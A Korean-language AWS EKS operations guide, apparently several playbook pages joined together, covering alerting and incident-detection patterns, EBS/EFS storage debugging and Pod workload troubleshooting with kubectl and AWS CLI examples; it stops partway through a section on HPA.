#### Pattern 1: 임계값 기반 탐지 (Threshold-based)
가장 기본적인 탐지 방식입니다. 미리 정의한 임계값을 초과하면 알림을 발생시킵니다.
```yaml
# PrometheusRule - 임계값 기반 알림 예제
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
name: eks-threshold-alerts
namespace: monitoring
spec:
groups:
- name: eks-thresholds
rules:
- alert: HighPodRestartRate
expr: increase(kube_pod_container_status_restarts_total[1h]) > 5
for: 10m
labels:
severity: warning
annotations:
summary: "Pod {{ $labels.namespace }}/{{ $labels.pod }} 재시작 횟수 증가"
description: "1시간 내 {{ $value }}회 재시작 발생"
- alert: NodeMemoryPressure
expr: (1 - node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes) > 0.85
for: 5m
labels:
severity: critical
annotations:
summary: "노드 {{ $labels.instance }} 메모리 사용률 85% 초과"
- alert: PVCNearlyFull
expr: kubelet_volume_stats_used_bytes / kubelet_volume_stats_capacity_bytes > 0.9
for: 15m
labels:
severity: warning
annotations:
summary: "PVC {{ $labels.persistentvolumeclaim }} 용량 90% 초과"
```
#### Pattern 2: 이상 탐지 (Anomaly Detection)
ML 기반으로 정상 패턴을 학습하고 편차를 감지합니다. 임계값을 미리 정의하기 어려운 경우에 유용합니다.
```bash
# CloudWatch Anomaly Detection 설정
aws cloudwatch put-anomaly-detector \
--single-metric-anomaly-detector '{
"Namespace": "ContainerInsights",
"MetricName": "pod_cpu_utilization",
"Dimensions": [
{"Name": "ClusterName", "Value": "'$CLUSTER'"},
{"Name": "Namespace", "Value": "production"}
],
"Stat": "Average"
}'
# Anomaly Detection 기반 알람 생성
aws cloudwatch put-metric-alarm \
--alarm-name "eks-cpu-anomaly" \
--alarm-description "EKS CPU 사용률 이상 감지" \
--evaluation-periods 3 \
--comparison-operator LessThanLowerOrGreaterThanUpperThreshold \
--threshold-metric-id ad1 \
--metrics '[
{
"Id": "m1",
"MetricStat": {
"Metric": {
"Namespace": "ContainerInsights",
"MetricName": "pod_cpu_utilization",
"Dimensions": [
{"Name": "ClusterName", "Value": "'$CLUSTER'"}
]
},
"Period": 300,
"Stat": "Average"
}
},
{
"Id": "ad1",
"Expression": "ANOMALY_DETECTION_BAND(m1, 2)"
}
]' \
--alarm-actions $SNS_TOPIC_ARN
```
:::warning Anomaly Detection 학습 기간
Anomaly Detection은 최소 2주간의 학습 기간이 필요합니다. 새 서비스 배포 직후에는 임계값 기반 알림을 병행하세요.
:::
#### Pattern 3: 복합 알람 (Composite Alarms)
여러 개별 알람을 논리적으로 조합하여 노이즈를 줄이고 정확한 인시던트를 감지합니다.
```bash
# 개별 알람들을 AND/OR로 조합
aws cloudwatch put-composite-alarm \
--alarm-name "eks-service-degradation" \
--alarm-rule 'ALARM("high-error-rate") AND (ALARM("high-latency") OR ALARM("pod-restart-spike"))' \
--alarm-actions $SNS_TOPIC_ARN \
--alarm-description "서비스 성능 저하 감지: 에러율 증가 + 지연시간 증가 또는 Pod 재시작 급증"
```
:::tip Composite Alarm 활용 팁
개별 알람만으로는 False Positive가 많이 발생합니다. Composite Alarm으로 여러 시그널을 조합하면 실제 인시던트만 정확하게 감지할 수 있습니다. 예: "에러율 증가 AND 지연시간 증가"는 서비스 장애, "에러율 증가 AND Pod 재시작"은 애플리케이션 크래시를 의미합니다.
:::
#### Pattern 4: 로그 기반 메트릭 필터 (Log-based Metric Filters)
CloudWatch Logs에서 특정 패턴을 감지하여 메트릭으로 변환하고 알림을 설정합니다.
```bash
# OOMKilled 이벤트를 메트릭으로 변환
aws logs put-metric-filter \
--log-group-name "/aws/eks/$CLUSTER/cluster" \
--filter-name "OOMKilledEvents" \
--filter-pattern '{ $.reason = "OOMKilled" || $.reason = "OOMKilling" }' \
--metric-transformations \
metricName=OOMKilledCount,metricNamespace=EKS/Custom,metricValue=1,defaultValue=0
# 403 Forbidden 이벤트 감지 (보안 위협)
aws logs put-metric-filter \
--log-group-name "/aws/eks/$CLUSTER/cluster" \
--filter-name "UnauthorizedAccess" \
--filter-pattern '{ $.responseStatus.code = 403 }' \
--metric-transformations \
metricName=ForbiddenAccessCount,metricNamespace=EKS/Security,metricValue=1,defaultValue=0
```
### 인시던트 디텍팅 성숙도 모델
조직의 인시던트 탐지 역량을 4단계로 구분하여, 현재 수준을 진단하고 다음 단계로 성장하기 위한 로드맵을 제시합니다.
| 레벨 | 단계 | 탐지 방식 | 도구 | 목표 MTTD |
|---|---|---|---|---|
| Level 1 | 기본 | 수동 모니터링 + 기본 알람 | CloudWatch Alarms | < 30분 |
| Level 2 | 표준 | 임계값 + 로그 메트릭 필터 | CloudWatch + Prometheus | < 10분 |
| Level 3 | 고급 | 이상 탐지 + Composite Alarms | Anomaly Detection + AMP | < 5분 |
| Level 4 | 자동화 | 자동 감지 + 자동 복구 | Lambda + EventBridge + FIS | < 1분 |
:::info MTTD (Mean Time To Detect)
인시던트 발생부터 탐지까지의 평균 시간입니다. Level 1에서 Level 4로 성장하면서 MTTD를 지속적으로 단축하는 것이 목표입니다. 조직의 SLO에 맞는 적절한 레벨을 선택하세요.
:::
### 자동 복구 (Auto-Remediation) 패턴
EventBridge와 Lambda를 연계하여 특정 인시던트가 감지되면 자동으로 복구 작업을 실행하는 패턴입니다.
```bash
# EventBridge 규칙: Pod OOMKilled 감지 → Lambda 트리거
aws events put-rule \
--name "eks-oom-auto-remediation" \
--event-pattern '{
"source": ["aws.cloudwatch"],
"detail-type": ["CloudWatch Alarm State Change"],
"detail": {
"alarmName": ["eks-oom-killed-alarm"],
"state": {"value": ["ALARM"]}
}
}'
```
:::danger 자동 복구 주의사항
자동 복구는 충분한 테스트 후에 프로덕션에 적용하세요. 잘못된 자동 복구 로직은 인시던트를 악화시킬 수 있습니다. 먼저 `DRY_RUN` 모드로 알림만 받으면서 복구 로직을 검증한 후, 단계적으로 자동화 범위를 확장하세요.
:::
### 권장 알림 채널 매트릭스
인시던트 심각도에 따라 적절한 알림 채널과 응답 SLA를 설정하여 Alert Fatigue를 방지하고 중요한 인시던트에 집중할 수 있도록 합니다.
| 심각도 | 알림 채널 | 응답 SLA | 예시 |
|---|---|---|---|
| P1 (Critical) | PagerDuty + Phone Call | 15분 이내 | 서비스 전체 다운, 데이터 손실 위험 |
| P2 (High) | Slack DM + PagerDuty | 30분 이내 | 부분 서비스 장애, 성능 심각 저하 |
| P3 (Medium) | Slack 채널 | 4시간 이내 | Pod 재시작 증가, 리소스 사용률 경고 |
| P4 (Low) | Email / Jira 티켓 | 다음 영업일 | 디스크 사용량 증가, 인증서 만료 임박 |
:::warning Alert Fatigue 주의
알림이 너무 많으면 운영팀이 알림을 무시하게 됩니다 (Alert Fatigue). P3/P4 알림은 Slack 채널에만 전달하고, 진정한 인시던트(P1/P2)만 PagerDuty로 전송하세요. 주기적으로 알림 규칙을 리뷰하여 False Positive를 제거하는 것이 중요합니다.
:::
---
## 관련 문서
- [워크로드 디버깅](./workload.md) - Pod 상태별 문제 해결
- [네트워킹 디버깅](./networking.md) - Service, DNS 문제 해결
- [스토리지 디버깅](./storage.md) - PVC 마운트 실패
- [Kubernetes 이벤트 보존과 AI Agent 조회 아키텍처](../k8s-event-management.md) - 이벤트 export 파이프라인과 MCP 조회
---
# 스토리지 디버깅
> EKS 스토리지 문제 진단 및 해결 가이드 - EBS/EFS CSI Driver, PVC 마운트 실패
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/storage
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, storage, ebs, efs, pvc
## 스토리지 디버깅 Decision Tree
```mermaid
flowchart TD
STOR_ISSUE["`**스토리지 문제 감지**`"] --> PVC_STATUS{"`PVC 상태 확인
kubectl get pvc`"}
PVC_STATUS -->|Pending| PVC_PENDING{"`StorageClass
존재?`"}
PVC_PENDING -->|No| SC_CREATE["`StorageClass 생성
또는 이름 수정`"]
PVC_PENDING -->|Yes| PROVISION{"`프로비저닝
실패 원인`"}
PROVISION -->|IAM 권한| IAM_FIX["`EBS CSI Driver
IRSA 권한 확인`"]
PROVISION -->|AZ 불일치| AZ_FIX["`WaitForFirstConsumer
volumeBindingMode 사용`"]
PVC_STATUS -->|Bound| MOUNT_ISSUE{"`Pod에서
마운트 가능?`"}
MOUNT_ISSUE -->|attach 실패| ATTACH_FIX["`다른 노드에 attach됨
→ 이전 Pod 삭제
볼륨 detach 대기 (~6분)`"]
MOUNT_ISSUE -->|mount 실패| MOUNT_FIX["`파일시스템 확인
Security Group (EFS)
mount target (EFS)`"]
PVC_STATUS -->|Terminating| FINALIZER_FIX["`Finalizer 확인
PV reclaimPolicy 점검
필요시 finalizer 수동 제거`"]
style STOR_ISSUE fill:#ff4444,stroke:#cc3636,color:#fff
style SC_CREATE fill:#34a853,stroke:#2a8642,color:#fff
style IAM_FIX fill:#34a853,stroke:#2a8642,color:#fff
style AZ_FIX fill:#34a853,stroke:#2a8642,color:#fff
style ATTACH_FIX fill:#34a853,stroke:#2a8642,color:#fff
style MOUNT_FIX fill:#34a853,stroke:#2a8642,color:#fff
style FINALIZER_FIX fill:#34a853,stroke:#2a8642,color:#fff
```
## EBS CSI Driver 디버깅
### 기본 점검
```bash
# EBS CSI Driver Pod 상태 확인
kubectl get pods -n kube-system -l app.kubernetes.io/name=aws-ebs-csi-driver
# Controller 로그 확인
kubectl logs -n kube-system -l app=ebs-csi-controller -c ebs-plugin --tail=100
# Node 로그 확인
kubectl logs -n kube-system -l app=ebs-csi-node -c ebs-plugin --tail=100
# IRSA ServiceAccount 확인
kubectl describe sa ebs-csi-controller-sa -n kube-system
```
### EBS CSI Driver 에러 패턴
| 에러 메시지 | 원인 | 해결 방법 |
|-------------|------|----------|
| `could not create volume` | IAM 권한 부족 | IRSA Role에 `ec2:CreateVolume`, `ec2:AttachVolume` 등 추가 |
| `volume is already attached to another node` | 이전 노드에서 미분리 | 이전 Pod/노드 정리, EBS 볼륨 detach 대기 (~6분) |
| `could not attach volume: already at max` | 인스턴스 EBS 볼륨 수 제한 초과 | 더 큰 인스턴스 타입 사용 (Nitro 인스턴스: 타입별 상이, 최대 128개) |
| `failed to provision volume with StorageClass` | StorageClass 미존재 또는 설정 오류 | StorageClass 이름/파라미터 확인 |
### 인스턴스별 EBS 볼륨 제한 확인
```bash
# 인스턴스 타입의 최대 EBS 볼륨 수 확인
aws ec2 describe-instance-types \
--instance-types c5.xlarge m5.2xlarge \
--query 'InstanceTypes[].{Type:InstanceType,MaxEBS:EbsInfo.MaximumVolumeCount}' \
--output table
# 노드의 현재 EBS 볼륨 사용량 확인
aws ec2 describe-volumes \
--filters "Name=attachment.instance-id,Values=" \
--query 'Volumes[].{VolumeId:VolumeId,State:Attachments[0].State}' \
--output table
```
### 권장 StorageClass 설정
```yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: topology-aware-ebs
provisioner: ebs.csi.aws.com
parameters:
type: gp3
encrypted: "true"
# gp3 성능 파라미터 (선택)
iops: "3000" # 기본 3,000 IOPS
throughput: "125" # 기본 125 MB/s
volumeBindingMode: WaitForFirstConsumer
allowVolumeExpansion: true
reclaimPolicy: Delete
```
:::tip WaitForFirstConsumer
`volumeBindingMode: WaitForFirstConsumer`를 사용하면 PVC가 Pod 스케줄링 시점에 바인딩됩니다. 이를 통해 **Pod이 스케줄링되는 AZ에 볼륨이 생성**되어 AZ 불일치 문제를 방지할 수 있습니다.
:::
## PVC 마운트 실패 패턴
### Pattern 1: AZ 불일치
EBS 볼륨은 단일 AZ에 존재하므로, Pod이 다른 AZ의 노드에 스케줄링되면 마운트가 실패합니다.
```bash
# 증상: Pod이 ContainerCreating 상태에서 멈춤
kubectl describe pod
# Events:
# Warning FailedAttachVolume AttachVolume.Attach failed : ... volume is in a different availability zone
# PV의 AZ 확인
kubectl get pv -o jsonpath='{.metadata.labels.topology\.kubernetes\.io/zone}'
# Pod이 스케줄링된 노드의 AZ 확인
kubectl get node -o jsonpath='{.metadata.labels.topology\.kubernetes\.io/zone}'
```
**해결 방법**: `volumeBindingMode: WaitForFirstConsumer` 사용
```yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: ebs-sc
provisioner: ebs.csi.aws.com
parameters:
type: gp3
volumeBindingMode: WaitForFirstConsumer # ← AZ 불일치 방지
```
### Pattern 2: EBS 볼륨 제한 초과
인스턴스 타입마다 연결 가능한 최대 EBS 볼륨 수가 제한되어 있습니다.
```bash
# 증상: Pod이 ContainerCreating 상태에서 멈춤
kubectl describe pod
# Events:
# Warning FailedAttachVolume AttachVolume.Attach failed : ... maximum number of attachments
# 노드에 연결된 볼륨 수 확인
kubectl get node -o json | jq '.status.volumesAttached | length'
# 인스턴스 타입의 최대 볼륨 수 확인
aws ec2 describe-instance-types \
--instance-types \
--query 'InstanceTypes[0].EbsInfo.MaximumVolumeCount'
```
**해결 방법**:
- 더 큰 인스턴스 타입 사용 (예: c5.xlarge → c5.2xlarge)
- PVC를 사용하지 않는 Pod을 다른 노드로 이동
- EBS 볼륨을 여러 노드에 분산
### Pattern 3: ReadWriteOnce 제약
EBS 볼륨은 `ReadWriteOnce` (RWO)만 지원하므로 동시에 여러 노드에서 마운트할 수 없습니다.
```bash
# 증상: 두 번째 Pod이 ContainerCreating 상태에서 멈춤
kubectl describe pod
# Events:
# Warning FailedAttachVolume Multi-Attach error for volume ... Volume is already exclusively attached
# PVC의 accessModes 확인
kubectl get pvc -o jsonpath='{.spec.accessModes}'
# ["ReadWriteOnce"]
```
**해결 방법**:
- 단일 Pod만 PVC를 사용하도록 설계 (StatefulSet 권장)
- 여러 Pod이 동시 접근이 필요하면 EFS 사용 (ReadWriteMany 지원)
```yaml
# ReadWriteMany가 필요한 경우 EFS 사용
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: shared-data
spec:
accessModes:
- ReadWriteMany # EFS만 지원
storageClassName: efs-sc
resources:
requests:
storage: 10Gi
```
### Pattern 4: 볼륨 Detach 지연
이전 Pod이 삭제되어도 EBS 볼륨이 즉시 detach되지 않아 새 Pod 시작이 지연될 수 있습니다.
```bash
# 증상: 이전 Pod 삭제 후 새 Pod이 6분간 ContainerCreating
kubectl describe pod
# Events:
# Warning FailedAttachVolume Volume is already attached to another node
# AWS 콘솔에서 볼륨 상태 확인
aws ec2 describe-volumes --volume-ids \
--query 'Volumes[0].Attachments[0].State'
# "detaching" or "attached"
```
**원인**: AWS API의 볼륨 detach는 최대 6분 소요 가능
**해결 방법**:
- 강제 detach (주의: 데이터 손실 위험)
```bash
# 강제 detach (데이터 손실 위험!)
aws ec2 detach-volume --volume-id --force
```
- StatefulSet에서 `podManagementPolicy: Parallel` 사용하지 않기 (순차 종료 보장)
## EFS CSI Driver 디버깅
### 기본 점검
```bash
# EFS CSI Driver Pod 상태 확인
kubectl get pods -n kube-system -l app.kubernetes.io/name=aws-efs-csi-driver
# Controller 로그 확인
kubectl logs -n kube-system -l app=efs-csi-controller -c efs-plugin --tail=100
# EFS 파일시스템 상태 확인
aws efs describe-file-systems --file-system-id
# Mount Target 확인 (각 AZ에 존재해야 함)
aws efs describe-mount-targets --file-system-id
```
### EFS 체크리스트
- [ ] Mount Target이 Pod이 실행되는 모든 AZ의 서브넷에 존재하는지 확인
- [ ] Mount Target의 Security Group이 **TCP 2049 (NFS)** 포트를 허용하는지 확인
- [ ] 노드의 Security Group에서 EFS Mount Target으로의 아웃바운드 TCP 2049 허용 확인
```bash
# Mount Target Security Group 확인
aws efs describe-mount-targets --file-system-id \
--query 'MountTargets[].{MountTargetId:MountTargetId,SubnetId:SubnetId,SecurityGroups:join(`,`,NetworkInterfaceId)}' \
--output table
# Security Group Inbound 규칙 확인 (TCP 2049 허용 필요)
aws ec2 describe-security-groups --group-ids \
--query 'SecurityGroups[0].IpPermissions[?FromPort==`2049`]'
```
### EFS 마운트 실패 디버깅
```bash
# Pod 이벤트 확인
kubectl describe pod
# Events:
# Warning FailedMount MountVolume.SetUp failed : ... connection timed out
# EFS Mount Target이 모든 AZ에 있는지 확인
aws efs describe-mount-targets --file-system-id \
--query 'MountTargets[].{AZ:AvailabilityZoneName,State:LifeCycleState,IP:IpAddress}'
# Pod이 실행 중인 노드의 AZ 확인
kubectl get pod -o jsonpath='{.spec.nodeName}' | \
xargs -I {} kubectl get node {} -o jsonpath='{.metadata.labels.topology\.kubernetes\.io/zone}'
```
### EFS StorageClass 예제
```yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: efs-sc
provisioner: efs.csi.aws.com
parameters:
provisioningMode: efs-ap # Access Point 자동 생성
fileSystemId: fs-1234567890abcdef0
directoryPerms: "700"
gidRangeStart: "1000"
gidRangeEnd: "2000"
basePath: "/dynamic_provisioning"
```
## PV/PVC 상태 확인 및 stuck 해결
### PVC 상태별 조치
```bash
# PVC 상태 확인
kubectl get pvc -n
# PV 상태 확인
kubectl get pv
```
| PVC 상태 | 의미 | 조치 |
|----------|------|------|
| **Pending** | 볼륨 프로비저닝 대기 | StorageClass 확인, CSI Driver 로그 확인 |
| **Bound** | PV와 바인딩 완료 | 정상 |
| **Lost** | PV가 삭제되었지만 PVC는 존재 | PVC 삭제 후 재생성 |
| **Terminating** | 삭제 중 (finalizer로 인해 멈춤) | finalizer 제거 (아래 참조) |
### Terminating 상태에서 멈춘 PVC 해결
```bash
# PVC가 Terminating에서 멈춘 경우 (finalizer 제거)
kubectl patch pvc -n -p '{"metadata":{"finalizers":null}}'
# PV가 Released 상태에서 Available로 변경 (재사용 시)
kubectl patch pv -p '{"spec":{"claimRef":null}}'
```
:::danger Finalizer 수동 제거 주의
Finalizer를 수동으로 제거하면 연결된 스토리지 리소스(EBS 볼륨 등)가 정리되지 않을 수 있습니다. 먼저 볼륨이 사용 중이지 않은지 확인하고, AWS 콘솔에서 고아(orphan) 볼륨이 생기지 않는지 확인하세요.
:::
### 고아 EBS 볼륨 정리
```bash
# Kubernetes에서 사용하지 않는 EBS 볼륨 찾기
aws ec2 describe-volumes \
--filters "Name=tag:kubernetes.io/created-for/pvc/name,Values=*" \
--query 'Volumes[?State==`available`].{VolumeId:VolumeId,PVC:Tags[?Key==`kubernetes.io/created-for/pvc/name`]|[0].Value,Size:Size}' \
--output table
# 고아 볼륨 삭제 (신중하게!)
aws ec2 delete-volume --volume-id
```
## 스토리지 성능 최적화
### gp3 IOPS/처리량 조정
gp3 볼륨은 IOPS와 처리량을 독립적으로 조정할 수 있습니다.
```yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: fast-ebs
provisioner: ebs.csi.aws.com
parameters:
type: gp3
iops: "16000" # 최대 16,000 IOPS
throughput: "1000" # 최대 1,000 MB/s
volumeBindingMode: WaitForFirstConsumer
```
:::info gp3 제한
- 기본: 3,000 IOPS / 125 MB/s
- 최대: 16,000 IOPS / 1,000 MB/s
- IOPS:처리량 비율은 최소 4:1 (예: 16,000 IOPS → 최소 250 MB/s)
:::
### 볼륨 확장
```bash
# PVC 크기 증가 (allowVolumeExpansion: true 필요)
kubectl patch pvc -p '{"spec":{"resources":{"requests":{"storage":"50Gi"}}}}'
# 확장 진행 상황 확인
kubectl describe pvc
# Conditions:
# Type Status LastTransitionTime Reason
# ---- ------ ------------------ ------
# FileSystemResizePending True ... Waiting for user to restart pod
# Pod 재시작 (파일시스템 확장 완료)
kubectl delete pod
```
:::warning 볼륨 축소 불가
Kubernetes와 EBS 모두 볼륨 축소를 지원하지 않습니다. 볼륨을 줄이려면 새 PVC를 생성하고 데이터를 마이그레이션해야 합니다.
:::
## 스토리지 문제 체크리스트
### PVC Pending
- [ ] StorageClass가 존재하는가?
- [ ] CSI Driver Pod이 Running 상태인가?
- [ ] CSI Driver의 IRSA 권한이 올바른가?
- [ ] 충분한 EBS 볼륨 쿼터가 있는가?
### PVC Bound but Pod ContainerCreating
- [ ] Pod과 PV가 같은 AZ에 있는가? (EBS)
- [ ] 노드의 EBS 볼륨 제한을 초과하지 않았는가?
- [ ] 다른 노드에 볼륨이 attach되어 있지 않은가?
- [ ] EFS Mount Target Security Group이 TCP 2049를 허용하는가? (EFS)
### PVC Terminating
- [ ] PVC를 사용하는 Pod이 모두 삭제되었는가?
- [ ] PV의 reclaimPolicy가 Delete로 설정되어 있는가?
- [ ] Finalizer가 PVC 삭제를 차단하고 있는가?
---
## 관련 문서
- [워크로드 디버깅](./workload.md) - Pod 상태별 문제 해결
- [네트워킹 디버깅](./networking.md) - Service, DNS 문제 해결
- [옵저버빌리티](./observability.md) - 스토리지 메트릭 모니터링
---
# 워크로드 디버깅
> EKS 워크로드 문제 진단 및 해결 가이드 - Pod 상태별 디버깅, 배포 실패 패턴, Probe 설정
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/workload
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, workload, debugging, pod, deployment
## Pod 상태별 디버깅 플로우차트
```mermaid
flowchart TD
START["`**Pod 이상 감지**`"] --> STATUS{"`Pod 상태 확인
kubectl get pod`"}
STATUS -->|Pending| PENDING{"`스케줄링
가능한가?`"}
PENDING -->|리소스 부족| PEND_RES["`Node 용량 확인
kubectl describe node
Karpenter NodePool 점검`"]
PENDING -->|nodeSelector/affinity 불일치| PEND_LABEL["`Node 라벨 확인
toleration/affinity 수정`"]
PENDING -->|PVC 바인딩 대기| PEND_PVC["`PVC 상태 확인
→ Section 7 스토리지`"]
STATUS -->|ImagePullBackOff| IMG{"`이미지 문제`"}
IMG --> IMG_FIX["`이미지 이름/태그 확인
레지스트리 접근 권한 확인
imagePullSecrets 확인`"]
STATUS -->|CrashLoopBackOff| CRASH{"`컨테이너 크래시`"}
CRASH --> CRASH_FIX["`kubectl logs --previous
리소스 limits 확인
liveness probe 확인
앱 설정/의존성 점검`"]
STATUS -->|OOMKilled| OOM{"`메모리 초과`"}
OOM --> OOM_FIX["`메모리 limits 증가
앱 메모리 누수 점검
JVM heap 설정 확인`"]
STATUS -->|Running but not Ready| READY{"`Readiness 실패`"}
READY --> READY_FIX["`readinessProbe 설정 확인
헬스체크 엔드포인트 점검
의존 서비스 상태 확인`"]
STATUS -->|Terminating| TERM{"`종료 지연`"}
TERM --> TERM_FIX["`Finalizer 확인
preStop hook 점검
강제 삭제:
kubectl delete pod --force
--grace-period=0`"]
style START fill:#ff4444,stroke:#cc3636,color:#fff
style PEND_RES fill:#34a853,stroke:#2a8642,color:#fff
style PEND_LABEL fill:#34a853,stroke:#2a8642,color:#fff
style PEND_PVC fill:#34a853,stroke:#2a8642,color:#fff
style IMG_FIX fill:#34a853,stroke:#2a8642,color:#fff
style CRASH_FIX fill:#34a853,stroke:#2a8642,color:#fff
style OOM_FIX fill:#34a853,stroke:#2a8642,color:#fff
style READY_FIX fill:#34a853,stroke:#2a8642,color:#fff
style TERM_FIX fill:#34a853,stroke:#2a8642,color:#fff
```
## 기본 디버깅 명령어
```bash
# Pod 상태 확인
kubectl get pods -n
kubectl describe pod -n
# 현재/이전 컨테이너 로그 확인
kubectl logs -n
kubectl logs -n --previous
# 네임스페이스 이벤트 확인
kubectl get events -n --sort-by='.lastTimestamp'
# 리소스 사용량 확인
kubectl top pods -n
```
## kubectl debug 활용법
### Ephemeral Container (실행 중인 Pod에 디버그 컨테이너 추가)
```bash
# 기본 ephemeral container
kubectl debug -it --image=busybox --target=
# 네트워크 디버깅 도구가 포함된 이미지
kubectl debug -it --image=nicolaka/netshoot --target=
```
### Pod Copy (Pod을 복제하여 디버깅)
```bash
# Pod을 복제하고 다른 이미지로 시작
kubectl debug --copy-to=debug-pod --image=ubuntu
# Pod 복제 시 커맨드 변경
kubectl debug --copy-to=debug-pod --container= -- sh
```
### Node Debugging (노드에 직접 접근)
```bash
# 노드 디버깅 (호스트 파일시스템은 /host에 마운트됨)
kubectl debug node/ -it --image=ubuntu
```
:::tip kubectl debug vs SSM
`kubectl debug node/` 는 SSM Agent가 설치되지 않은 노드에서도 사용 가능합니다. 다만, 호스트 네트워크 네임스페이스에 접근하려면 `--profile=sysadmin` 옵션을 추가하세요.
:::
## 배포는 됐는데 안 되는 패턴
### Pattern 1: Probe 실패 루프 (Running but 0/1 Ready)
Pod은 Running 상태이지만 `READY` 컬럼이 `0/1`로 표시되어 트래픽을 받지 못하는 상황입니다.
```bash
# 증상 확인
kubectl get pods
# NAME READY STATUS RESTARTS AGE
# api-server-xxx 0/1 Running 0 5m
# readinessProbe 실패 이벤트 확인
kubectl describe pod api-server-xxx | grep -A 10 "Readiness probe failed"
```
#### 진단 플로우차트
```mermaid
flowchart TD
NOTREADY["`Pod 0/1 Ready`"] --> CHECK_PROBE{"`readinessProbe
설정 확인`"}
CHECK_PROBE -->|path 불일치| FIX_PATH["`헬스체크 경로 수정
/health → /healthz`"]
CHECK_PROBE -->|initialDelaySeconds 부족| FIX_DELAY["`앱 부팅 시간 측정
initialDelaySeconds 증가
또는 startupProbe 추가`"]
CHECK_PROBE -->|앱이 실제 실패| FIX_APP["`로그 확인
kubectl logs
의존 서비스 점검`"]
CHECK_PROBE -->|timeout 부족| FIX_TIMEOUT["`timeoutSeconds 증가
(기본 1초는 너무 짧음)`"]
style NOTREADY fill:#ff4444,stroke:#cc3636,color:#fff
style FIX_PATH fill:#34a853,stroke:#2a8642,color:#fff
style FIX_DELAY fill:#34a853,stroke:#2a8642,color:#fff
style FIX_APP fill:#34a853,stroke:#2a8642,color:#fff
style FIX_TIMEOUT fill:#34a853,stroke:#2a8642,color:#fff
```
#### 일반적인 원인
| 원인 | 증상 | 해결 방법 |
|------|------|----------|
| **readinessProbe path ≠ 실제 endpoint** | Probe가 404 Not Found 반환 | 앱의 실제 헬스체크 경로와 일치시키기 (`/health`, `/healthz`, `/ready` 등) |
| **initialDelaySeconds < 앱 부팅 시간** | 앱이 준비되기 전에 Probe 시작 → 실패 | Spring Boot/JVM 앱은 30초 이상 필요. initialDelaySeconds 증가 또는 startupProbe 사용 |
| **startupProbe 미사용** | 느린 앱이 반복 재시작 | startupProbe를 추가하여 초기 시작 시간 확보 (최대 failureThreshold × periodSeconds) |
| **헬스체크에 외부 의존성 포함** | DB 장애 시 모든 Pod Ready=false | readinessProbe는 Pod 자체의 준비 상태만 확인 (DB 연결 제외) |
#### 해결 예제
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: spring-boot-app
spec:
template:
spec:
containers:
- name: app
image: my-spring-app:latest
ports:
- containerPort: 8080
# 1. startupProbe: 앱 시작 완료 확인 (Spring Boot는 느림)
startupProbe:
httpGet:
path: /actuator/health
port: 8080
failureThreshold: 30 # 최대 300초(30 × 10s) 대기
periodSeconds: 10
# 2. readinessProbe: 트래픽 수신 준비 확인
readinessProbe:
httpGet:
path: /actuator/health/readiness
port: 8080
initialDelaySeconds: 10
periodSeconds: 5
timeoutSeconds: 3
failureThreshold: 3
# 3. livenessProbe: 데드락 감지 (외부 의존성 제외!)
livenessProbe:
httpGet:
path: /actuator/health/liveness
port: 8080
initialDelaySeconds: 60
periodSeconds: 10
timeoutSeconds: 5
failureThreshold: 3
```
:::danger Liveness Probe에 외부 의존성 포함 금지
Liveness Probe에서 DB/Redis 연결을 확인하면 안 됩니다. 외부 서비스 장애 시 모든 Pod이 재시작되는 **cascading failure**를 유발합니다. Liveness는 앱 자체의 데드락만 감지하세요.
:::
### Pattern 2: ConfigMap/Secret 변경 미반영
ConfigMap 또는 Secret을 업데이트했지만 Pod에 반영되지 않는 경우입니다.
#### 동작 방식 비교
| 마운트 방식 | 자동 업데이트 | 반영 시간 | 비고 |
|-------------|--------------|----------|------|
| **volumeMount (일반)** | ✅ 자동 업데이트 | 1-2분 (kubelet sync 주기) | 권장 방식 |
| **volumeMount + subPath** | ❌ 업데이트 안 됨 | N/A | Pod 재시작 필수 |
| **envFrom / env** | ❌ 업데이트 안 됨 | N/A | Pod 재시작 필수 |
```bash
# ConfigMap 업데이트 확인
kubectl get cm -o yaml
# Pod이 마운트한 ConfigMap 버전 확인 (Pod 내부)
kubectl exec -- cat /etc/config/app.conf
# Pod 재시작 (변경사항 즉시 반영)
kubectl rollout restart deployment/
```
#### subPath 사용 시 주의사항
```yaml
# ❌ 나쁜 예: subPath 사용 → ConfigMap 업데이트가 반영되지 않음
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
containers:
- name: app
volumeMounts:
- name: config
mountPath: /etc/app/config.yaml
subPath: config.yaml # ← 문제: 자동 업데이트 안 됨
volumes:
- name: config
configMap:
name: app-config
# ✅ 좋은 예: subPath 제거 → 자동 업데이트 가능
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
containers:
- name: app
volumeMounts:
- name: config
mountPath: /etc/app # 디렉토리 전체 마운트
volumes:
- name: config
configMap:
name: app-config
```
#### Reloader를 사용한 자동 재시작
[stakater/reloader](https://github.com/stakater/Reloader)를 사용하면 ConfigMap/Secret 변경 시 자동으로 Deployment를 재시작할 수 있습니다.
```bash
# Reloader 설치
kubectl apply -f https://raw.githubusercontent.com/stakater/Reloader/master/deployments/kubernetes/reloader.yaml
```
```yaml
# Deployment에 annotation 추가
apiVersion: apps/v1
kind: Deployment
metadata:
name: app
annotations:
reloader.stakater.com/auto: "true" # 모든 ConfigMap/Secret 감시
# 또는 특정 리소스만:
# configmap.reloader.stakater.com/reload: "app-config,common-config"
spec:
template:
spec:
containers:
- name: app
image: my-app:latest
```
### Pattern 3: HPA 미작동
Horizontal Pod Autoscaler가 스케일링하지 않는 경우입니다.
```bash
# HPA 상태 확인
kubectl get hpa
# NAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS
# web-hpa Deployment/web /50% 2 10 2
# HPA 상세 정보
kubectl describe hpa web-hpa
